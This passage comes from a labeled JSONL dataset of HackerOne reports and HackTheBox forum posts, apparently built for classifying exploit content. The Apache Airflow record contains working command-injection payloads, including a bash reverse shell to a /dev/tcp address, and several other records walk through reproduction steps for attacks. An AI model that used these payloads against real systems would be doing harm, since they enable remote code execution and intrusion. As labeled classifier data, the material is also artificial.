accounts.google.com (142.250.196.141) port 443 (#0)\n* ALPN: offers h2\n* ALPN: offers http/1.1\n*  CAfile: /etc/ssl/certs/ca-certificates.crt\n*  CApath: /etc/ssl/certs\n* TLSv1.0 (OUT), TLS header, Certificate Status (22):\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.2 (IN), TLS header, Certificate Status (22):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.2 (IN), TLS header, Finished (20):\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.2 (OUT), TLS header, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384\n* ALPN: server accepted h2\n* Server certificate:\n*  subject: CN=accounts.google.com\n*  start date: Sep 12 08:19:34 2022 GMT\n*  expire date: Dec  5 08:19:33 2022 GMT\n*  subjectAltName: host \"accounts.google.com\" matched cert's \"accounts.google.com\"\n*  issuer: C=US; O=Google Trust Services LLC; CN=GTS CA 1C3\n*  SSL certificate verify ok.\n* Using HTTP2, server supports multiplexing\n* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* h2h3 [:method: GET]\n* h2h3 [:path: /]\n* h2h3 [:scheme: https]\n* h2h3 [:authority: accounts.google.com]\n* h2h3 [user-agent: curl/7.85.0]\n* h2h3 [accept: */*]\n* Using Stream ID: 1 (easy handle 0x5580b5b3d690)\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n> GET / HTTP/2\n> Host: accounts.google.com\n> user-agent: curl/7.85.0\n> accept: */*\n>\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n* old SSL session ID is stale, removing\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n< HTTP/2 302\n\nthe rest of the information is omitted\n\n```\n\nWhen IDN convert(1):\n```\n# curl -v --hsts hsts.txt http://accounts.google.com。\n*   Trying 142.251.42.141:80...\n* Connected to accounts.google.com。 (142.251.42.141) port 80 (#0)\n> GET / HTTP/1.1\n> Host: accounts.google.com.\n> User-Agent: curl/7.85.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 301 Moved Permanently\n< Cache-Control: private\n< Content-Type: text/html; charset=UTF-8\n< Referrer-Policy: no-referrer\n< Location: http://accounts.google.com/\n< Content-Length: 224\n< Date: Tue, 11 Oct 2022 16:28:28 GMT\n<\n<HTML><HEAD><meta http-equiv=\"content-type\" content=\"te", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-42916"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "90e14777d11d13088dd3", "text": "[Unknown] Twitter Account hijack through broken link in https://runpanther.io\n\n## Summary:\n\nA link(https://twitter.com/runpanther_) in https://runpanther.io  was broken and anyone could create that account which leads to account impersonate\n\n## Steps To Reproduce:\n\n1.Go to https://runpanther.io\n2.Scroll down to bottom there you can see that twitter icon.\n3.Click on that icon, you will redirected to twitter account which i have been hijacked\n4.Anyone could claim this username and broken link could be hijacked.\n\n## Supporting Material/References:\nSimilar report that was reported previously in panther_lab\nhttps://hackerone.com/reports/1117079\n\n## Impact\n\nSince the link can be hijacked so any attacker can claim the link and make fake twitter profile of panther labs and can do scam with them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "17ab794158aae75fa8f1", "text": "[Improper Access Control - Generic] Read-only administrator can change agent update settings\n\nHello Gents,\n+ While testing `eu2-cloud.acronis.com` I found that read-only administrators are able to update agents just by editing the HTML!\n\n### Steps to reproduce:\n1. Please login at https://eu2-cloud.acronis.com/mc/\n2. From Users, invite a new user with Read-only administrator role.\n3. From Read-only administrator account navigate to \"Agents Update\" https://eu2-cloud.acronis.com/mc/app;group_id=*******/settings/agents-update\n4. Inspect element -> search for `readonly`.\n5. Change the value from `readonly=\"true\"` to `readonly=\"false\"`.\n6. Edit, update and save.\n7. Now open the \"Agents Update\" page from the company administrator account, you will be able to see the changes!\n\n### Proof of concept:\n+ {F1688988}\n\n## Impact\n\nRead-only administrator is able to edit and \"Agents Update\"", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d7edfd23f333d782dcb2", "text": "[Command Injection - Generic] CVE-2022-24288: Apache Airflow: TWO RCEs in example DAGs\n\nIn Apache Airflow, prior to version 2.2.4, In DAG script of airflow , there is two command injection vulnerability (RCE) in the some scripts, which an attacker can execute arbitrary commands on the system.  The impact is even greater when airflow is configured for unauthenticated access. These two RCEs are assigned the same CVE number(CVE-2022-24288)\n\n## Impact\n\n#RCE one: example_passing_params_via_test_command.py command injection\n\n##Vulnerability summary:\nIn Apache Airflow, prior to version 2.2.4, there is a command injection vulnerability (RCE) in the script (example_passing_params_via_test_command.py), which can obtain the permission of the operating system. \n##Vulnerability principle:\n1. It can be seen from the source code of example_passing_params_via_test_command script that there is the function of executing bash command, The parameters Foo and MIFF in the template expressions {{params. Foo}} and {{params. Foo}} are externally controllable and rendered through the jiaja2 template: \n\n{F1634883}\n\n{F1634884}\n2. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;\n\n{F1634885}\n\n##Vulnerability exploitation ：\n1. Enter the DAGs menu and start example_passing_params_via_test_command task, select “Trigger DAG w/ config”. \n\nhttp://192.168.3.17:8080/trigger?dag_id=example_passing_params_via_test_command\n\n{F1634887}\n2. To construct payload, we can know from the following code that we need to splice commands with semicolons after closing double quotation marks, so as to inject any operating system commands to be executed(RCE).\n\n{F1634888}\nPAYLOAD：`{\"foo\":\"\\\";touch /tmp/pwnedaaaaa;\\\"\"}`, Then click trigger to execute the task.\n\n{F1634889}\n\n{F1634890}\nThrough the log and background view, it can be seen that any command has been executed successfully.\n\n{F1634891}\n\n{F1634892}\n3.  Further execute the reverse shell to obtain operating system permissions.\nPayload:` {\"foo\":\"\\\";bash -i >& /dev/tcp/192.168.3.7/6666 0>&1;\\\"\"}`\n\n{F1634893}\n\n{F1634894}\n\n#RCE two: tutorial.py DAG command injection\n\n##Vulnerability summary：\nIthere is a command injection vulnerability (RCE) in the script (tutorial.py), which an attacker can execute arbitrary commands on the system. \n##Vulnerability principle：\n1. It can be seen from the source code of tutorial script that there is the function of executing bash command, The parameters “my_param” in the template expressions {{params.my_param}} is externally controllable and rendered through the jinja2 template: \n\n{F1634906}\n2. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;\n\n{F1634907}\n#Vulnerability exploitation:\n1. Enter the DAGs menu and start tutorial task, select “Trigger DAG w/ config”. \n\nhttp://192.168.3.17:8080/trigger?dag_id=tutorial\n\n{F1634908}\n2. To construct payload, we can know from the following code that we need to splice commands with semicolons after closing double quotation marks, so as to inject any operating system commands to be executed(RCE).\n\n{F1634913}\nPAYLOAD：`{\"my_param\":\"\\\";touch /tmp/pwnedddddd;\\\"\"}`, Then click trigger to execute the task.\n\n{F1634915}\n\n{F1634916}\nThrough the log and background view, it can be seen that arbitrary command has been executed successfully.\n\n{F1634917}", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-24288"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbd89c35e7a2d398e593", "text": "The ‘<’ characters may be blacklisted by the server, that’s probably why the second payload is not working", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a945296ddf875910fec9", "text": "[Open Redirect] Open Redirect through POST Request in www.redditinc.com\n\n## Summary:\nOpen redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain. This behavior can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targeting the correct domain and with a valid SSL certificate (if SSL is used), lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.\n\n## Steps To Reproduce:\nRequests are sent from Burp Suite Community Edition\n\n  1. Intercept Request of www.redditinc.com\n  2. Send it to Repeater.\n  3. Paste the HTTP Request given.\n  4. Send.\n  5. Copy link from the Show Response in Browser option.\n  6. Paste it in Burp Browser and Run.\n\n##Reference/Supporting Material:\n[https://hackerone.com/reports/242243](https://hackerone.com/reports/242243)\n\n## POC Video is attached\n\n\n\n## HTTP Request:\n```\nPOST /ama HTTP/2\nHost: www.redditinc.com\nContent-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw\nCookie: OptanonAlertBoxClosed=2021-08-18T14:18:57.720Z;OptanonConsent=isIABGlobal=false&datestamp=Wed+Aug+18+2021+19%3A48%3A59+GMT%2B0530+(India+Standard+Time)&version=6.13.0&hosts=&consentId=bca87c2e-056e-4636-b582-be4622de55db&interactionCount=2&landingPath=NotLandingPage&groups=C0001%3A1%2CC0002%3A1%2CC0004%3A1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip,deflate\nContent-Length: 1509\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36\n\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"action\"\n\nzendesk/default/submit\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"agreement\"\n\nyes\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"description\"\n\n555\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"email\"\n\nsample@email.tst\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"email_confirm\"\n\nsample@email.tst\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"failed\"\n\nhttp://google.com\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"name\"\n\nghovjnjv\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"organization\"\n\nPENTESTING\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"participants\"\n\nghovjnjv\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"redirect\"\n\n74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank-you/ama-form-step-1\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"subject\"\n\nAMA Request\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"success\"\n\nthank-you/ama-form-step-1\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"ticket_form_id\"\n\n360000307211\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"timeframe\"\n\nnext-week\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"timezone\"\n\n(GMT-05:00) Eastern Time (US & Canada)\n------------YWJkMTQzNDcw--\n\n```\n\n\n\n## HTTP Response:\n```\nHTTP/2 302 Found\nServer: nginx\nContent-Type: text/html; charset=UTF-8\nPermissions-Policy: interest-cohort=()\nX-Robots-Tag: none\nX-Powered-By: Craft CMS\nLocation: http://google.com\nCache-Control: private\nAccept-Ranges: bytes\nDate: Wed, 18 Aug 2021 15:30:48 GMT\nVia: 1.1 varnish\nStrict-Transport-Security: max-age=31536000; includeSubdomains\nX-Content-Type-Options: nosniff\nX-Frame-Options: SAMEORIGIN\nX-Xss-Protection: 1; mode=block\nContent-Length: 0\n```\n\n## Impact\n\nA remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "644aacce2e383e4f87fb", "text": "Htb ctf\n\nWhy does it say for CTF that every “public” CTF requires an input key? It wouldn’t make sense for it to be public if you require a key that needs to be given to you. Edit: I say “every” because I’m talking about all the ongoing and upcoming CTF.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1eeb305bc2805bfd5843", "text": "[Unknown] Insecure loading of ICU data through ICU_DATA environment variable\n\nNode.js correctly ignores the NODE_ICU_DATA environment variable when it is running with elevated privileges (e.g. setuid root).\n\nICU on the other hand still honors the ICU_DATA environment variable, without regard for privilege level.\n\n## Impact\n\nICU is not very resilient to crafted data files but since users can select custom data files anyway with the `--icu-data-dir` flag, the real-world impact is probably not much worse than what is already possible through documented means...\n\n...which doesn't mean it shouldn't be fixed because scenarios where it is in fact exploitable are imaginable, just not very likely.\n\nSuggestions:\n\n- build ICU with ICU_NO_USER_DATA_OVERRIDE defined\n- sanitize the environment before initializing ICU", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4bbdf18a45bd73e7545b", "text": "This was a tough one. Some tips about finding the payload to command inject You can command inject in a GET not just a POST Look at moving a file and see what happens. Some tips I found when you find the file: You can solve this without moving the flag at all. You can read the file without even doing a base64. If you use certain commands from “Blacklisted Command Bypass” you can actually get the command to print out the /flag.txt on the website (ie viewing render in burp to see it easily). While a command from “Blacklisted Command Bypass” may block one command to view files, maybe you can see what other commands aren’t blocked…don’t assume cause bypass is blocked for a command they all are There is a command that isn’t even blocked for reading a file and printing it’s contents. You just need to find it. (but you can still use Blacklisted Command Bypass to use other commands to read contents of a file) You can copy the file if you would rather do that though. You will need to use Blacklisted Command Bypass to get round the copy command.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce6b68be85d8fe2b6340", "text": "[Information Disclosure] Error in Deleting Deck cards attachment reveals the full path of the website\n\n## Summary:\n\nAn error in deck cards when deleting an attachment reveals the full path of the website.\n\n```\nDELETE /apps/deck/cards/11/attachment/file:1 HTTP/2\nHost: ctulhu.me/nc\nSec-Ch-Ua: \"Chromium\";v=\"93\", \" Not;A Brand\";v=\"99\"\nAccept: application/json, text/plain, */*\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\nSec-Ch-Ua-Platform: \"macOS\"\nOrigin: https://ctulhu.me/nc\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n```\n\n### Response\n\n```\nHTTP/2 500 Internal Server Error\nDate: Wed, 29 Sep 2021 07:42:43 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 2057\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nPragma: no-cache\nCache-Control: no-cache, no-store, must-revalidate\nContent-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'\nFeature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'\nX-Robots-Tag: none\nReferrer-Policy: no-referrer\nX-Content-Type-Options: nosniff\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nX-Robots-Tag: none\nX-Xss-Protection: 1; mode=block\nCf-Cache-Status: DYNAMIC\nServer: cloudflare\nCf-Ray: 69639391d9741f21-FRA\nAlt-Svc: h3=\":443\"; ma=86400, h3-29=\":443\"; ma=86400, h3-28=\":443\"; ma=86400, h3-27=\":443\"; ma=86400\n\n{\"status\":500,\"message\":\"There was an error retrieving the share. Maybe the link is wrong, it was unshared, or it was deleted.\",\"exception\":{\"\\u0000OC\\\\HintException\\u0000hint\":\"\",\"\\u0000*\\u0000message\":\"There was an error retrieving the share. Maybe the link is wrong, it was unshared, or it was deleted.\",\"\\u0000Exception\\u0000string\":\"\",\"\\u0000*\\u0000code\":0,\"\\u0000*\\u0000file\":\"\\/var\\/www\\/██████████\\/custom_apps\\/deck\\/lib\\/Sharing\\/DeckShareProvider.php\",\"\\u0000*\\u0000line\":586,\"\\u0000Exception\\u0000trace\":[{\"file\":\"\\/var\\/www\\/████████\\/custom_apps\\/deck\\/lib\\/Service\\/FilesAppService.php\",\"line\":140,\"function\":\"getShareById\",\"class\":\"OCA\\\\Deck\\\\Sharing\\\\DeckShareProvider\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/█████\\/custom_apps\\/deck\\/lib\\/Service\\/AttachmentService.php\",\"line\":339,\"function\":\"extendData\",\"class\":\"OCA\\\\Deck\\\\Service\\\\FilesAppService\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/██████████\\/custom_apps\\/deck\\/lib\\/Controller\\/AttachmentController.php\",\"line\":96,\"function\":\"delete\",\"class\":\"OCA\\\\Deck\\\\Service\\\\AttachmentService\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/███████\\/lib\\/private\\/AppFramework\\/Http\\/Dispatcher.php\",\"line\":217,\"function\":\"delete\",\"class\":\"OCA\\\\Deck\\\\Controller\\\\AttachmentController\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/███████\\/lib\\/private\\/AppFramework\\/Http\\/Dispatcher.php\",\"line\":126,\"function\":\"executeController\",\"class\":\"OC\\\\AppFramework\\\\Http\\\\Dispatcher\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/█████\\/lib\\/private\\/AppFramework\\/App.php\",\"line\":156,\"function\":\"dispatch\",\"class\":\"OC\\\\AppFramework\\\\Http\\\\Dispatcher\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/██████████\\/lib\\/private\\/Route\\/Router.php\",\"line\":301,\"function\":\"main\",\"class\":\"OC\\\\AppFramework\\\\App\",\"type\":\"::\"},{\"file\":\"\\/var\\/www\\/██████\\/lib\\/base.php\",\"line\":1000,\"function\":\"match\",\"class\":\"OC\\\\Route\\\\Router\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/█████████\\/index.php\",\"line\":36,\"function\":\"handleRequest\",\"class\":\"OC\",\"type\":\"::\"}],\"\\u0000Exception\\u0000previous\":null}}\n```\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n* 0.) setup burpsuite\n* 1.) go to $website/apps/deck and pick any cards\n* 2.)  attach a file to the card and delete it\n* 3.) On burp suite go to proxy > http history > find the request\n* 4.) send the request to repeater and run the request again\n\n## Impact\n\nFull path disclosure", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b392bd94a3cf922bb0bb", "text": "[Insufficiently Protected Credentials] Credential leak when use two url\n\n## Summary:\nCurl can leak user credentials if use two url.\n\n## Steps To Reproduce:\n\n\n  1. curl -I -v -u aaa:bbb hackerone.com curl.se\n  2. the output is:\n> Connected to hackerone.com (104.16.100.52) port 80 (#0)                                                \n> Server auth using Basic with user 'aaa'                                                                   \n> HEAD / HTTP/1.1                                                                                           \n> Host: hackerone.com                                                                                       \n> Authorization: Basic YWFhOmJiYg==                                                                        \n > User-Agent: curl/7.83.1                                                                                  \n > Accept: */*\n\n> Connection #0 to host hackerone.com left intact                                                         \n>Trying 151.101.65.91:80...                                                                             \n> Connected to curl.se (151.101.65.91) port 80 (#1)                                                        \n>Server auth using Basic with user 'aaa'                                                                  \n > HEAD / HTTP/1.1                                                                                          \n > Host: curl.se                                                                                            \n > Authorization: Basic YWFhOmJiYg==                                                                         \n> User-Agent: curl/7.83.1                                                                                   \n> Accept: */*\n                                                                                                       \n  3. from the output we can see, the second url get the same credentials\n\n## Impact\n\nLeak of confidential information (user credential)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "30a9de9f84303e5787ed", "text": "[Leftover Debug Code (Backdoor)] Exposed Golang debugger on tier3.riot.mail.ru:9090, 9080\n\n## Summary\nHi there, the Golang pprof debug interface is exposed on tier3.riot.mail.ru:9090 (and port 9080). This allows introspection of stack traces, application timing, memory usage, command line parameters, and allows triggering GC pauses, which allows a denial-of-service via repeatedly triggering a garbage collection.\n\nYou can see the interface at the following URLs:\n* http://tier3.riot.mail.ru:9080/debug/pprof/ (cmdline: `/opt/WWWRoot/zbs-dev/esrv/bin/gameproxy -cfg proxy.yml -pid-file proxy.pid`)\n* http://tier3.riot.mail.ru:9090/debug/pprof/ (cmdline: `/opt/WWWRoot/zbs-test/esrv/bin/gameproxy -cfg proxy.yml -pid-file proxy.pid`)\n\nFrom the Goroutine stack traces, we can see that this is probably something to do with `esrvproxy` or `eproxy`: `/opt/WWWRoot/zbs-test/esrv/eproxy/cmd/esrvproxy/proxy.go`. I will not pretend to know where in your scope this issue is.\n\n## Impact\n\nDenial of service, information disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cbaca5b60caedcf516e0", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-43551: Another HSTS bypass via IDN\n\n## Summary:\nI found an issue similar to CVE-2022-42916 again.\nSince the phenomenon is the same, I will describe the same as last time.\n\nHSTS checks are bypassed if any character in the IDN convert(Nameprep) to a '.'\nfor example\"。\"(UTF-8:E38082).\nI think there are other characters that become \".(UTF-8:2E)\" as a result of converting with IDN.\n\nThis is because the host name before IDN conversion is used when writing to the HSTS cache.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Start from a state where there is no entry for the access destination host name in the HSTS cache\n  2. `curl -v --hsts hsts.txt https://accounts.google%E3%80%82com`\n  3. `curl -v --hsts hsts.txt http://accounts.google%E3%80%82com`\n\nResult of 3.\n```\nC:\\test\\curl-7.86.0-win64-mingw\\bin>curl -v --hsts hsts.txt http://accounts.google%E3%80%82com --head\n*   Trying 142.250.206.237:80...\n* Connected to accounts.google縲Ｄom (142.250.206.237) port 80 (#0)\n> HEAD / HTTP/1.1\n> Host: accounts.google.com\n> User-Agent: curl/7.86.0\n> Accept: */*\n>\n```\n\nIf you execute 3. after executing the below, you will access the site with HTTPS.\n`curl -v --hsts hsts.txt https://accounts.google.com`\n\nI use [this](https://curl.se/download/curl-7.86.0.zip) in a Windows environment.\n\nI checked the HSTS cache after executing 2. and found the host name before IDN conversion.\n```\n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\n.accounts.google。com \"20231029 15:57:29\"\n```\n\nI think the problem is in http.c:line 3727.\ndata->state.up.hostname is the hostname of the IDN unconverted.\n```\n    CURLcode check =\n      Curl_hsts_parse(data->hsts, data->state.up.hostname,\n                      headp + strlen(\"Strict-Transport-Security:\"));\n```\n\n## Impact\n\nHSTS bypass.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-43551", "CVE-2022-42916"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "52772942ac4351cd27bf", "text": "[Security Through Obscurity] Lack of URL normalization renders Blocked-Previews feature ineffectual\n\nSlack has a feature known as [_Blocked Previews_][blocked-previews], which allows Workspace Owners and Admins to specify a list of URLs for which no link preview should occur. The point of this feature is to reduce clutter and prevent harmful content from getting embedded in the workspace.\n\nHowever, when a URL is posted on Slack, the backend evidently doesn't perform any preliminary URL normalization on it. This lack of URL normalization enables easy bypasses of a workspace's list of blocked previews.\n\n(In what follows, I'll use the link `https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/` as an example.)\n\n# Bypassing blocked previews for all links from a domain\n\nIf all previews from `jub0bs.com` have been blocked, posting `https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/` (note the trailing period after the host part) will trigger a link preview. Note: posting such a URL to Slack requires an intercepting proxy, such as Burp. Here is a video PoC:\n\n{F1194569}\n\n# Bypassing Blocked Previews for a specific link or all links under a domain subdirectory\n\nIf previews for\n\n* specific link `https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/`, or\n* all links under `jub0bs.com/posts`\n\nhave been blocked, posting a URL of the form `https://jub0bs.com/ARBITRARY_PATH_SEGMENT/../posts/2021-01-29-great-samesite-confusion/` (note the non-normalized path) will trigger a link preview. Here is a video PoC:\n\n{F1194567}\n\n[blocked-previews]: https://slack.com/intl/en-fr/help/articles/360001502048-Manage-link-previews-for-your-workspace\n\n## Impact\n\nWorkspace Owners and Admins cannot easily block link previews in a reliable fashion. The trailing-period bypass requires them to duplicate create an additional rule for each blocked domain, and the path-normalization bypass completely defeats the blocking of specific links or all links under a domain subdirectory. As a result, malicious actors are able to get their links to preview in Slack regardless of the workspace's list of blocked previews.\n\nPlease note that the \"attack\" scenario isn't limited to \"team member against team member\", because links may come from Slack integrations (e.g. with [Microsoft Outlook](https://hackerone.com/redirect?url=https%3A%2F%2Fslackhq.com%2Fincrease-everyday-productivity-with-office-365-apps-for-slack)). In this connection, see report #481472.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "834fd1c36d1a7941ef0f", "text": "[Unknown] No Restriction on password\n\nNote- 1:  When I report this issue to another program, the triaged expert said ( The server is now only hashing a reasonable size password, this should not cause a Denial of Service . Since there does not appear to be evidence of DoS occurring here)\n\nSo they will take action, Only when ddos appear.\n\nNote- 2:  (For Gitlab) while seeing (Note-1), You will also consider as same but here the interesting is happened.\n\nMy scope is not to attempt ddos to your server, because you exclude any activity related to denial of service to your assets. But without proof there is no way prove, so that I have put payloads to password field and I got internal server error from your side.\n\n\nDescription: \n\nHey, When I tried to reset the password,  I noticed that you haven't kept any password limit.\n\nYou need to decrease password length: There are two reasons for limiting the password size. For one, hashing a large amount of data can cause significant resource consumption on behalf of the server and would be an easy target for a Denial Of Service attack.\n\nNormally all sites have a password minimum to maximum lengths like 72 characters limit or 48 limits to prevent Denial Of Service attack.\n\nAll valid POC has been attached, So Investigate and fix the problem soon.\n\n## Impact\n\nThe server might not be able to handle such characters coming from different machines simultaneously. The attacker can perform a DDOS attack by using this vulnerability.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4c451db297ab81c4ced3", "text": "[Improper Restriction of Authentication Attempts] Missing brute force protection on login page on www.acronis.com\n\nGood Night Team and a Merry Christmas!!!\nThe failure occurs as follows, to change the email the user has to click on a link sent to their email to confirm the change.if the user creates a new account with this email before clicking on the change email link,one second link is sent to your email to confirm your new account.if the user now clicks on the change email link, it will no longer be possible to confirm the change because the email is already in use and he will be redirected to a different login page from the original ,this login page has no rate limiting and is vulnerable to brute force attack.\nSteps to reproduce;1:Log in to your account at account.acronis.com\n2:Navigate to PROFILE -> Change email\n3:Enter an email address that is not being used in another account and click -> Save changes\n4:A message with a link to confirm the change will be sent to your email, Ignore the message for now, do not click on the link now\n5:Now create a new account using this email address\n6:You will receive another message in your email with a link to confirm your new account,Ignore the second message too,don't click.\n7:Now log out\n8:Now go to your email inbox and click on the link you received in the first message to confirm email change\n9:By clicking on the link you will be redirected to a login page different from the original\n10:Enter a random email and password and click login, intercept the request with BurpSuite and initiate the brute force attack\n11: For wrong passwords, the code 302 is displayed, and when the password is found, the code 1508 is displayed\n\n## Impact\n\nThe victim will have their account hacked by brute force attack because the changed login page has no rate limitation", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
